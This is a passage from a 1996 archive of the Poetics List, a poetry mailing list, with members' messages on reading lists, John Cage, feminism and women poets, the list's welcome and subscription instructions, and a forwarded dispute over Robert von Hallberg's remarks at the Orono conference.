9. PRONTO, Elmore Leonard

10. DISCOURSES OF THE VANISHING, Marilyn Ivy (modern Japanese culture, pub by U of Chicago)

also, for those of you with access to libraries that would have it, I very strongly recommend Michelle Yeh's article THE "CULT OF POETRY" IN CONTEMPORARY CHINA which you can find in THE JOURNAL OF ASIAN STUDIES 55, no 1. (FEbruary 1996), an excellent account of what is going on "post-Misty school."

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57. Loss Glazier
Re: Friedlander email + Note
Wed 3 Jul 1996

Actually, that address should be:
[redacted]

Note also: the UB machines have been spittin vinegar lately (I believe
that's the technical term for malfunctioning nodes). Sometimes they will say
things don't exist just because they're messed up. (This also occurs in
other discourses.) Often it's good to try a couple of times over a few days
if you're having trouble getting to the EPC or otherwise accessing our
gleaming towers of silicon.

At 09:13 PM 7/3/96 +0900, you wrote:
>>Does anyone have a current email address for Ben Friedlander (Ben, are
>>you reading this?)? The one I had bounced back as "user unknown."
>>
>>Thanks,
>>
>>Ron
>
>You can try this one: [redacted]. It worked sometime
>around last Hannukah.
>
>:-) Nada (Gordon)
>
>

↑ Index

58. **Rod Smith**

Re: Quartermain, Cage, Beckett, Severity

Wed 3 Jul 1996

Mark Wallace wrote: "It turns out that Cage's surface "acceptance" of any phenomena (any noise as music, etc) turns out to include a rejection of western cultural hierarchies in every conceivable guise, which means quite literally that he must have loathed almost everything around him, however "quietly" or "gently"..."

Well, loathe, is much too strong I think. Cage loved Satie, & thought highly of Mozart, particularly Don Giovani. He listened to Bach & Beehtoven a great deal in his teens & twenties, & studied with Schoenberg. Seems more appropriate to me to say that at a certain point he just didn't need that tradition anymore, or only _very_ selectively. It just wasn't useful to him, & that in part accounts for the usefulness of his work to so many, I think. He was forced on occasion, or very often, to address it of course. There's that great story he told of the African prince that saw a program of music from Bach to Wagner, & when asked what he thought of the concert he replied "very nice, but why did they keep playing the same tune over and over."

But on another note, in the spirit of Peter Q's "limiatations" question-- somebody, maybe it was George Bowering, used the term "severe avant-garde" in a post, I believe comparing Beckett to Cage-- the implication being Beckett wasn't, Cage was. Not to get stuck on that particular comparison, but just to put the question to the list-- whatsa "severe avant-garde" anywho? Cld be the basis for a new movement-- _Expurgationism_? Also, if anyone would volunteer a close reading of Charles B's "An Afternoon on the Jetee" from _Arras 3_ (does anyone have a tape?). . . I would be quite curious . . .

Rod

↑ Index

59. **Aldon L. Nielsen**

Re: pee pee

Wed 3 Jul 1996

---

well now we seem to have hit a "low" --

look "filch" -- your survey wd either have to rely upon self-reporting, in which case it's useless, ot on direct observation, in which case that must have been you that was kicked out of the pool for peeking at people peeing -- surely we can come up with a better satire than this --

↑ Index

60. **Aldon L. Nielsen**

Re: Irby Matters

Wed 3 Jul 1996

Keith -- you might look for the Station Hill volume _Call Steps_, copies of which may still float about -- I suspect the Tansy Irbys are long gone -- Did you know that his brother is an important translator of Spanish works? particularly of Jose Lezama Lima's fantastic Cuban novel _Paraiso_

↑ Index

61. **Aldon L. Nielsen**

Re: Perchik

Wed 3 Jul 1996

David -- I had been aware of that via the old Perchik _Selected_; but the book as a whole had left a bad feeling in me that kept mt from returning to it -- Now, I'd like to take a look at the fuller sequences (the Frank series in the selected appears to be less than half the sequence?) Will give Simon a second try on your advice --

↑ Index

62. **Louis Cabri**
Re: my stack
Thu 4 Jul 1996

some hits of bed/floor/deskside reading over the last indefinite while - at 1pm & 4am; caffeinated, ginsenged or cigared; from usedbookstore purchases to gifts & library loans; all 100-watt bulbed; in no special order

1. Primitivism and Decadence by Yvor Winters, where I found "The Experimental School in American Poetry," a descriptive catalogue of literary devices & to me a very uncanny read - templating a poetics which seems to haunt the logos of discursive prose itself. That, next to Artifice of Absorption, is boondoggling - & recommended for formal change fetishists & their detractors. What other catalogues are out there?

2. Laura Riding's The World and Ourselves (1938). She leaves Spain in the nick of Franco's razor & writes, i guess from England, a "personal letter" circulated by meanderment to 400 people, asking how should those she singularily terms "inside people" respond to the changes in the world of "the outside"? "International affairs are too much with us, they are eating into our personal lives and labours...." The book collects 100 responses into an extraorganized format - divided into a section of responses by women and a section by men, then two further sections, "the realistic approach" and the approach "beginning from the inside." Riding provides allover narrative that further strings each leter to her own. Much of her narrative responds to the letters, and explains - wen required - her use of terms like "inside." Is this a protoypical version of the poetics survey?

3. George Bowering's early seventies poetry sequence, At War With
the US, loaned from friend & returned else I'd quote some
contusional lines. Chequer le livre out, taberwit!

4. Torque #4 (Spring 1996), ed. Elizabeth Fodaski. 21 E Second St #12, NYC 10003. We're talkin' propellant - at torque 4, the blade's curve is d-base .25 & the windcut jigs the meters but good, so you reach "Fifi La Labial Nana Fofana" in about four minutes. Leather bag not supplied.

5. Dick Gregory's first book, of one-liners & short para sequences, From the Back of the Bus, published & intro by... Hugh Hefner, that would be in 62. I had to pack this in a box a few days ago, but it's got some great lines & black&white photos on race matters (Little Rock figures prominantly) - who says the "groundlessness" of permanent irony can only display glibness, despair & cynicism?

6. The Cool Crazy Committed World of the Sixties: 21 Television Interviews from The Pierre Berton Show, 1966. Journalist Berton is an icon of Cdn cultural

nationalism, & WASP - so he interviewsd all that is Not He, for an audience comforted by a then wellfunded public broadcaster. Apparently the last interview w/ Malcolm X. Interview with "Mrs Ian Fleming." Interview with "a single parent," "a gate crasher" (over 26 Beatles concerts), etc, & w/ Lenny Bruce, Phil Specter... only in Canada, eh?

7. A book by James Campbell on Montreal abstract painter Claude Toussignant. Professional art critic "doing the professional," and swings his hardy boy sloop into Michael Fried's dramascope, then to litcrit harbour for a poke in the weeds of what T Eagleton tried to satirize in 1986 as RLM - the Reader's Liberation Movement. Campbell until now has mostly written monographs for gallery shows of artists like Barnett Newman and Ron Martin.

8. Collected writings of another (same gen) Montreal abstract painter, Guido Molinari, who has mostly gone it alone as they say ("I am a UFO & loving it"), though at one time, in wake of a preponderant influence of Automatism on the Montreal scene, associated himself by signature with a selfdeclared NeoPlasticist manifesto. He has various phases. He painted a series blindfolded in the early 50s.

9. Derrida's The SelfPortrait and Other Ruins. Exhibition catalogue of 17-19 c. French paintings/drawings of/on blind subjects, which he curated for the Louvre, plus booklength essay. One more argument I suppose, this time perceptual, for the impossibility of pure "identity." The perceptual geometry holding together artist, canvas, mirror or subject, and viewer, is such that the artist cannot literally see, D argues, the action of painting, even, and especially, a selfportrait. There's a blindness at the "origin" of the act of drawing.

10. Essays in Felix Guattari's Molecular Revolution, an early book. Seems that in one sentence from 1966 he sums up Fredric Jameson's entire generalist's project in The Political Unconscious, and moreover in the specific context of a description of French labour history in this century: "It is the revolutionary vanguard's failure to understand the unconscious processes that emerge as socioeconomic determinisms that has left the working class defenceless in the face of capitalism's modern mechanisms of alienation" (p. 199).

↑ Index

63. Ron Silliman
More addresses
Thu 4 Jul 1996

Thanks to Gordon & Loss for their help in getting in touch w/ Ben.

I need two additional addresses for folks whose missives bounced back this past week:

John Byrum
Joel Kuszai

Email and snail mail needed.

Simon,

Since the Valley Forge area is not awash with Asian Studies (unreconstructed xenophobia is the local mode), can you sketch out what Michelle Yeh says in that article on the cult of poetry? I'd love to know and I'll bet I'm not alone,

All best,

Ron

↑ Index

64. David Golumbia
Skoal Chaw
Thu 4 Jul 1996

In case anybody's (remotely) (still) interested, there's a far beter response to the Sokal thing than Ross's (& to media response to Sokal), by ST co-editor Bruce Robbins, in July 8/21 edition of IN THESE TIMES (&, mild self-promo, two letters in defense of cultural studies, one by yrs truly, the other, a really nice missive by Phil Goldstein, with Tom Frank response). "In Defense of Cultural Studies" runs the banner across the top of front cover. I'm surprised, but glad, to find out the Jim Weinstein is willing to listen to those of us who find it worth defending.

--
[redacted]
David Golumbia

↑ Index

65. Charles Smith
Re: Ronald Johnson Broadside (ad)
Thu 4 Jul 1996

Joel,

I wd like one of the unsigned RJ braodsides for $10.00.

Charles Smith
2135 Irvin Way
Sacramento, CA 95822
[redacted]

thanks

↑ Index

66. Christina Fairbank Chirot

Re: comments on women today and oppression

Thu 4 Jul 1996

On Sun, 30 Jun 1996, Eliza McGrand- CVA Guest wrote:

> re ms. phillip's dismay about a conference attendee's comments that
> women today do not realize that they are oppressed and that white
> middle class women are the last to realize they are oppressed, i can
> very easily see much that might have motivated those comments and
> agree. i have seen entirely too many anti-feminist slings recently,
> as if one is being somehow radical and brave to trash all those dingy
> feminists. and i can easily, only too easily imagine losing my temper
> if i thought i heard yet another pseudo-daring slam on feminists.
>
> people have been slamming feminists for hundreds of years -- white
> master-owners; male husbands enjoying such privileges as beating a
> wife with anything smaller than the circumfrance of their thumb, being
> the only one in the partnership who can own or inherit land, being the
> only partner who have a bank account or vote; men who can vote, own
> land, have a bank account, work at any number of professions while
> women cannot; men being asked to desist from disenfranchising women;
> academics (male and female) who profess, as dale spender has pointedly
> put it, that "you don't have to read women's literature to know it
> isn't any good" in her book on sexism in literature; academics who
> refuse to hire women in tenure track positions; academics who
> consistently give lower marks and bad reviews to work by women, while
> giving accolades to work of comparable quality by men; etcetera,
> etcetera. it isn't, after all, so very new to slam feminists and
> those who do so certainly aren't the sort of company i would like to
> keep. perhaps mr. howe meant nothing disrespectful toward women. but
> with the comments as reported, i have only too many painful
> experiences which lead me to agree.
>
> in other words, i can't say how many times i have heard some younger
> woman tell me, often with a placating smile (as if being, publically,
> a "good girl"), that SHE is certainly not oppressed and doesn't feel
> women are oppressed anymore. she tells me this while she is typing,
> filing, and scurrying away at a shit job for lower pay than men her
> age and ability. she has also, often, just told me about the job(s)

> she left because she was sexually harrassed, the boyfriend she lives
> with who expects her to wash all the dishes, do the laundry, cook, and
> clean, the same boyfriend who has perhaps just left her for a younger
> prettier woman. she leaves work to paint one more painting that will
> not get exhibited in a museum because although over half of the people
> in art classes are women, less than a tenth of exhibited or reviewed
> artists are women (and this situation exists for women writers, in
> large measure as well -- have you ever noticed how in anonymous entry
> contests, the winners are half or over half women, but in contests
> where names are used, 1/5 to 1/3 of the winners are women?). and we
> watch while a black or latino woman cleans the building around us and
> tells us, if we ask, how she was an accountant at home, or how her
> husband doesn't let her go home alone so she will have to stay here
> and wait for him, or one of us in the room struggles to hide the
> bruises from being beaten by an abusive partner while the residents of
> rooms on all sides of us shut their ears since "he's her boyfriend" so
> that makes it all right.
>
> i am sick of hearing that women are not oppressed. i am sick of
> hearing the very feminists whose damned hard work has gotten women the
> right to vote, to hold about 3/4 more sorts of jobs than they used to,
> the right to start a bank account without their husband's signature to
> give them permission, and so on and so on jeered at, disowned, and
> dismissed as they take on yet another painful, difficult battle for
> the very women who will not stand with them, yet benefit by their
> labor.
>
> from this ground, such seeds as the comments you report seem only too
> understandable.
>
> and while i'm on my soapbox, i have found myself distanced and pained
> by the numerous readings listed with no women writers, by the numerous
> lists of admired writers with at best only one woman for every eight
> men, and by the books and book lists with almost no women. the thread
> on british women poets has been, to say the least, a delight and i'd
> love to see more of the same.
>
> women write too.
> e
>
YES, YES, YES! And you've only mentioned a bit of the daily
pressure/oppression. Backlash is pervasive. "Chicks" is not chic.

Reviews of the Orono conference manifest underrepresentation of women there, as elsewhere. Here's an other woman's voice supporting y/our position.
T in a c.

↑ Index

67. Tony Green
Teaching women poets
Thu 4 Jul 1996

I'd like to pick up an old thread. Teachability is closely linked with publicationability. New Zealand with a population of 3,600,000 does not support publication of quertzblatz writing except in minute quantities. There is a "mainstream" of writing which fares better, though the rate of publication does not match that for U.S. writing. There are few magazines. Sustaining anything in that way for the kind of quertzblatz interests of many people on this list is damn near impossible. Attempts to get public money for it have not proved successful lately. The only magazine at present serving this interest is in some trouble financially and that is a xerox magazine stapled through, no cover, edited by Alan Loney and called A Brief Description of the Whole World. He also edited Parallax for 3 issues in the early 80's. This was the successor to a short-lived magazine edited by Graham Lindsay "Morepork". In the early 80's there were two xerox magazines, AND and SPLASH, neither lasted long. Meanwhile the mainstream carries on happily enough. Singling out Michele Leggott as teachable woman NZ poet is just fine. Good luck to her. But I must point out that there are perhaps more challenging poets who are not going to be teachable because they do not get books in print and because they do not necessarily appear in anthologies. A reader of the magazines I've named will know what I mean. Can we rely on the "teaching" of Michele Leggott knowing anything of this context? I guess the answer is a very big NO. In which case that teaching, probably unintentionally,,or even, with the very best of intentions, tends to be an "outside" interference in the canon, which can make the situation for those poets who NEVER fit the mainstream magazines at all, more difficult. This is not meant to indicate any kind of dislike of Michele or of her writing, far from it. But before a liberal-minded extension includes that which is available, to suit its liberality, it should be very careful about the effect it can have within the immediate environment within which availability has occurred. In short, I would trust this kind of foraging around for names to put into a plausible list of "representative" NZ women poets for a U.S.college course, only where the library resources could establish that context I've referred to, e.g Buffalo, where most of the magazine material is available. Best

Tony Green,
e-mail: [redacted]

↑ Index

68. Joel Kuszai
e-mail address
Fri 5 Jul 1996

sorry to blast this over the public channel
but my address is now

[redacted]

I've been off the list for a couple weeks and have been spying it in a digest form.

At some point I'll post my maine response and also some more junk mail about Meow Press summer publications.

↑ Index

69. Poetics List
Welcome Message
Fri 5 Jul 1996

Rev. 5-16-95

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Who's Subscribed
4. Digest Option
5. When you'll be away
6. The Electronic Poetry Center (EPC)

7. Poetics Archives at EPC
8. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]. edu) and Loss Pequen~o Glazier ([redacted]).]

---

1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable. Word-of-mouth (and its electronic equivalents) seems to be working fine.

The "list owner" of Poetics is Charles Bernstein: contact me for further information. As of May, Joel Kuszai is working with me to administer the list. For subscription information contact us at [redacted]

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at sharewar sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your

system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to
[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this messagage:

set poetics mail

---

5. When you'll be away

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message:

You can temporarily turn off your mail by sending a message:

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 7 below.)

---

6. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

7. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

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8. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information

for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

70. Mark Wallace
rod smith and john cage
Fri 5 Jul 1996

Hey Rod:

Thanks for the clarification on my earlier remarks relative to John Cage and his feelings towards the musical traditions he leaves behind. But your post leaves me with a question I'd like to hear more from you about. When you say that "at a certain point, Cage simply didn't need that tradition anymore" (I'm paraphrasing), are you implying that he left it behind without antagonism, just decided it could be ignored? Or, if he continued to have reactions towards it, what were the nature of those reactions? Loathe is, I can see, probably too strong. But what, from your understanding, would be the proper way to characterize his feelings towards the tradition he leaves behind? There's something about your post that seems almost to be characterizing his reaction as strangely unemotional--i.e., oh there it is, I don't need that, it really doesn't bother me and let's talk about something else. That seems to me a little bit hard to believe--you're trained in a whole tradition, work in it for many years, and then one day decide it's not significant, and leave it without much feeling either way? I'm just curious as to whether you could try to characterize more fully his reaction to what he left behind.

mark

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:

| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

71. Mark Wallace
ghost stories
Fri 5 Jul 1996

Dear Dodie (and whoever else):

Ever read anything by the 19th century British ghost story writer Mrs. Riddell? After seeing bits and pieces of her work, I finally tracked down two weeks ago a complete collection of her ghost stories that had been published by Dover about twenty years ago, and has long been out of print. She wrote several supernatural novels also--the one I'm most familiar with is THE UNINHABITED HOUSE, which I also read in a Dover edition now out of print. Her stories are not always fully developed--she wrote too fast, for money, according to E.F. Bleier--but they have some genuinely frightening moments, and she does quite a good job with character. A real strangeness runs through the best of what she does.

Sheridan Le Fanu's novels are almost all long out of print, with the exception of UNCLE SILAS and two collections of his stories, all still in print I think from Dover. There's a 1977 hardback series from Arno that republished all of his novels, many their first re-publication since they originally appeared in the 1860s and 70s. The Arno can be hard to find, but interlibrary loan will usually pick them up somewhere.

I myself spent several days one summer at the Library of Congress tracking down the original serial publications of Le Fanu's novels in various British periodicals, including the Dublin Magazine which Le Fanu himself ran for many years. I even discovered several stories from the 1840s that had never been republished since their original serialization, including several early versions of stories he would later turn into novels. My own sense has always been that of all the British ghost story writers, Le Fanu's novels are most in tune to the economic realities of 19th century British life. His characterizations of women are certainly often problematic, tending towards views of them as sweet and moral but fairly helpless, although there are significant exceptions, like the struggle between strong mother and daughter characters in THE ROSE AND THE KEY, which also features one of the scariest 19th century descriptions of an insane asylum that I'm aware of.

mark

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
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| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

72. **maria damon**
felicitous misprisions
Fri 5 Jul 1996

---

along the lines of shrinking velvets, the liner notes to Alemayehu Eshete("the james brown of ethiopia")'s Addis Ababa album refers to his heart-rendering ballads. render my heart like butter, baby, and i'll lard you with poems.

↑ Index

73. **Judy Roitman**
Another ethnic group
Fri 5 Jul 1996

If one were so foolish as to try to describe contemporary Native American poetries briefly, what would that description be, and what names would be attached?

No, I'm not giving a course, and do have other sources (Haskell Indian Nations University is down the road a short piece), but I'm curious what members of this list would say.

Thanks.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

74. **Gwyn McVay**
Re: felicitous misprisions
Fri 5 Jul 1996

If they haven't changed the dessert menu at the Westin William Penn in Pittsburgh, see it; it was obviously compiled by a non-native speaker, and is chock

full of inexplicabilities. The banana something I ordered was described as being "attacked by a banana liquoir." In the heading to "cappuccino mousse," someone had struck an accidental carriage return, so it now read:

Cappucci
no mousse

which may be a found pome?

Gwyn

↑ Index

75. Keith Tuma
Orono
Fri 5 Jul 1996

Several days ago I forwarded to Robert von Hallberg the comments made about his comments in Orono. I did so because I think it's important that people be allowed to respond to the charges made against them in what is after all a public forum, however circumscribed. I now forward von Hallberg's response to Aldon, having been asked to do so.

I expect that conversation will ensue. Unfortunately, I'm leaving for the East Coast for a week on Sunday, and thus will be unable either to participate or to forward messages. Perhaps someone might take care of the latter for me.

best to all,
Keith Tuma
----------Original message----------
>To: [redacted]
>From: [redacted] (robert von hallberg)
>Subject: Orono
>Cc:
>Bcc:
>X-Attachments:
>
>5 July 1996 Friday.
>
>Dear Aldon,
>
> Keith Tuma was good enough to forward to me your remarks about my contribution to your Langston Hughes, Bob Kaufman session at Orono; I might otherwise not have known of your representation of what I said to that gathering. I want to reply first to you directly, then I will post this so that others can consider the matter further, if they wish.

>
> Why is it that after all the rhetorical and intellectual training that people like you and I receive, we tend so often to want to reduce intellectual differences until our opponents seem wholly negligible? I have felt this pull in my own writing, and friends have stopped me and reminded me that the issues that divide people are not ridiculous, that it is important to get right what our adversaries are advocating or claiming. And of course I recognize this pull in your representation of my remarks at your Hughes/Kaufman panel.
> 1. I did not claim that Hughes and Kaufman are "bad" poets, as you allege. This is simply a factual error on your part. I claimed instead that our job as literary scholars is to sort out the best writings of the poets we claim are being wrongly neglected and present them along with principled evaluative arguments to such audiences as the one gathered at Orono.
> 2. This relates to your quotation of my saying in an accusatory manner that you and the other panelists were "doing the sociology thing." My objection is not at all to the use of sociology or sociological analysis in literary history or criticism; my own work is heavily indebted--as is clear to my readers--to the work of sociologists of American intellectuals, and my most recent book is a sociology-of-art study of East German intellectuals. My objection was then explicitly to simplistic sociology. The example I gave in Orono, you will recall, was not your remark about the number of papers on minority poets, but instead the listing by the first presenter, whose name is not before me now, of the various postwar anthologies and the tabulation of the number of African American poets included: "One" or "none" were the scores repeated a number of times. This sort of sociological analysis is limited because it does not get beyond the obvious point that is not in contention: that African American writers have consistently been poorly represented in mainstream anthologies. I think the word I used to characterize this analysis was "simple." I said that as an intellectual endeavor, this sort of analysis is superficial and not worth doing.
> Once one observes, before an audience of teachers and scholars of contemporary poetry, that African American poets are not being discussed enough in conferences, not being published often enough in anthologies, etc., one should go on to the next step: the making of an argument for the teaching, study, or appreciation of particular poems by particular poets. If one does not take that step, one implies that the teaching, study, or appreciation of one African American poet is as desirable as the teaching, study, or appreciation of another. That is, one is refusing to take the poets with full seriousness by not examining their best work in detail. And, yes, at this point I do feel that identity politics misleads literary

critics into thinking that any form of commentary on underrepresented poets is itself a good thing and often even a sufficient thing. These poets existed; they were rarely published in mainstream anthologies; document their existence in the future--this is an elementary sort of literary critical project. The training that we have as literary scholars and critics enables us to go much further in the intellectual analysis of poetry. Why should we be timid about subjecting poems by Hughes, for example, to the most rigorous critical scrutiny of which we are capable?
> 3. One answer that is commonly given to this question is that the methods of critical analysis that are commonly used to scrutinize poems by Eliot, say, or Pound, or Moore, will not get at the full achievement of African American poets. That may be the case. If so, we need to know exactly where it is so, at what point in analysis the critical categories fail to serve the poets well. That is very interesting and worth knowing in detail, through patient analysis. Once we see just where the critical categories come up empty we can begin to define alternative categories that will serve the poetry better and we can theorize the significance of these categories.
> I did claim, apropos of your misrepresentation of my statements (cited above as item #1) that the poems quoted by Hughes in the first paper were not on the face of things impressive, and that the analysis presented there did not take them beyond the face of things.
> I will relate an anecdote here. Later in the day, after your session, another conferee told me that I just did not understand Hughes. She told me that her husband and she had known him and came to learn of his craftiness. Her husband once remarked to Hughes that he would love to hear Hughes talk about the blues, because he was sure that Hughes would have a different understanding of them than he did (being white). Hughes said, yes, they would have to have that talk, and that maybe they could talk about Schubert at the same time, because Hughes would like to know the white man's understanding of Schubert too. The woman telling me the story said that she wasn't sure her husband took the point of the rebuke right away. Then she told me that what I failed to understand about Hughes was that he was writing for an uneducated, large [black] urban audience, and that of course poems addressed to such an audience would not sound impressive to me. Her point was that Hughes was crafty, knew what he was doing, etc. I asked her if she didn't see any similarity between her claim about Hughes writing simply for simple folk and her husband's presumption that black people have a distinct, circumscribed view of music. She saw no resemblance there. But I think that she and her husband were condescending to Hughes in both instances. Not to subject Hughes's poetry to close analysis and developed evaluative argumentation is to refuse to give him as an artist just what we

are trained to give to the work of Eliot, Pound, Wilbur, Lowell, Bishop, Moore, et al.
> 4. After you misrepresent me by alleging that I said Hughes and Kaufman were "bad poets," you say: "Now ... this is pretty old hat to those of us who have been studying issues of race and ethnicity in literature longer than two weeks."
> Let me say forthrightly here what I said to you in Orono: I benefited from your book on intertextuality and race, esp. (as I told you) from your discussion of Robert Hayden's "Middle Passage." You have been working for years on race and ethnicity, and my paper on Hayden at the conference is the very beginning of my effort now to write about African American poetry, as I mentioned. I am a novice, maybe even an interloper, in your field, and I respect the feelings that are expressed by your remark about the two weeks. You are a professional in this area and you are entitled to feel a somewhat proprietary sense toward this academic specialty, African American poetry.
> My own view is that outsiders sometimes manage to bring something distinctive and unsettling to academic specialties. For this reason, I repeatedly argue that the writing of poet-critics is of special value to us now that literary scholarship has become thoroughly dominated by academic criticism and interpretation, and I hope that my engagement as an American with East German literary and intellectual culture will be off the beaten track of the straight disciplines that have custodial and proprietary claims to the study of East German literature and culture.
> But it is not the case that my advocacy of evaluative argument and close analysis of particular poems is properly characterized as the "strategies of the oldest of new critics," as you claim. The authority of New Criticism has been discredited, but not all close analysis and not all sustained evaluative argument have been discredited at the same time. I am not advocating that the arguments for the poets you admire be conducted by New Critical criteria--analysis of irony, tone, imagery, etc. My claim is rather that advocates of poets excluded from anthologies need to put on the table the evidence of poetic achievement and argue, in whatever terms work best for those poems, for the understanding and evaluation of those poems. Not to do this when an audience is gathered that can make a difference to the dissemination of such poets seems to me intellectually timid.
>
> Yours,
>
> Robert von Hallberg
>

↑ Index

76. **maria damon**
Re: Orono
Fri 5 Jul 1996

hi keith! did you also let aldon know you were going to forward his remarks? it is not at all clear to me that this list is a "public" one, and i have had the experience of having a formal grievance brought against me by members of another list i made reference to on poetix, believing that, tho this is to be sure a conversation, it is a "private" conversation. this is not a rebuke but a reminder --to all, in fact --that there is some uncertainty about exactly what the boundaries of the list in fact are. i guess it's good to assume, as you do, that anything CAN be made public, and that anyone can reach our files thru EPC after all, anyway. i'll respond to von h at some length later. as i've said, i have had very good interactions with him and consider him a warm, supportive colleague, but i see sometimes the adoption of a persona --the LIBERAL conscience of "what we do" --and the invocation of categories many of us have come to dismiss (he would argue that we're throwing the baby out w/ the proverbial bathwater) --can be startling. he has, tho, written one of the best (and first) of what i would consider cultural studies/poetry texts around, choosing to argue --again, not an argument i make, but a worthy one --that poetry has played a very centrist role in consolidating the American empire. that he does not go on to criticise this role is where i part with him, but i think it important that someone is making an argument different from the common assumption that poetry is necessarily a vanguard discourse. his and my work could be seen in point-counterpoint dialogue, in fact, and i think it matters a lot who it is we choose to study to buttress our respective positions. i do not, for example, think that qualitative evaluation is why we study poetry, or that we should only teach what is the "best." the kaufman poem i discussed ("bagel shop jazz") has, to be sure, some real clinkers in in ("doomed to see their coffee dreams/ Crushed on the floors of time" --for example --i like coffee dreams but anything "of time" sounds soupy to me) but it illustrates a "scene" that is rich, complex, and sociologically compelling to me, which is why i wrote about it. i agree that listing anthologies and saying how many Black poets were or weren't included is not sufficient as analysis, but i also don't think it can be said often enough as a starting point. i have seen some essays on hughes, for example, that don't attend to his social location and his circumstances, that completely fall flat and end up sounding very bad-faith and just plain inaccurate; for example, rather than looking on his importation of popular Black culture into print-"Poetry" as an intellectual/aesthetic achievement, it was seen as an example how skillfully he "marketed" himself. the critic was clearly trying to get beyond what s/he considered a simplistic boosterish analysis, but the result was, to my mind, disastrous. i think it is possible to be both analytically sophisticated AND advocacy-oriented, as Aldon's, CLR James's,

Stuart Hall's, and George Lipsitz's work show. I think also the o'hara/race sessions instanciated this blend of skillful critique/analysis and sympathy. i do think that marjorie has a point about getting rid of plenary sessions, because it sets up a class system, so that Bob can give what he himself describes as a "neophyte" effort at a plenary, while Aldon, to whose work he graciously describes himself as indebted, is in the position of appearing to take on a "heavy" from the sidelines, as it were. well i guess I have responded to Bob's post here/now after all.

In message <[redacted]> UB Poetics discussion
group writes:
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about
> his comments in Orono. I did so because I think it's important that people
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> Aldon, having been asked to do so.
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> East Coast for a week on Sunday, and thus will be unable either to
> participate
> or to forward messages. Perhaps someone might take care of the latter for
> me.
>
> best to all,
> Keith Tuma
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> >To: [redacted]
> >From: [redacted] (robert von hallberg)
> >Subject: Orono
> >Cc:
> >Bcc:
> >X-Attachments:
> >
> >5 July 1996 Friday.
> >
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> > 1. I did not claim that Hughes and Kaufman are "bad" poets, as you
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> > 4. After you misrepresent me by alleging that I said Hughes and Kaufman
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> who have been studying issues of race and ethnicity in literature longer
> than two weeks."
> > Let me say forthrightly here what I said to you in Orono: I benefited
> from your book on intertextuality and race, esp. (as I told you) from your
> discussion of Robert Hayden's "Middle Passage." You have been working for
> years on race and ethnicity, and my paper on Hayden at the conference is the
> very beginning of my effort now to write about African American poetry, as I
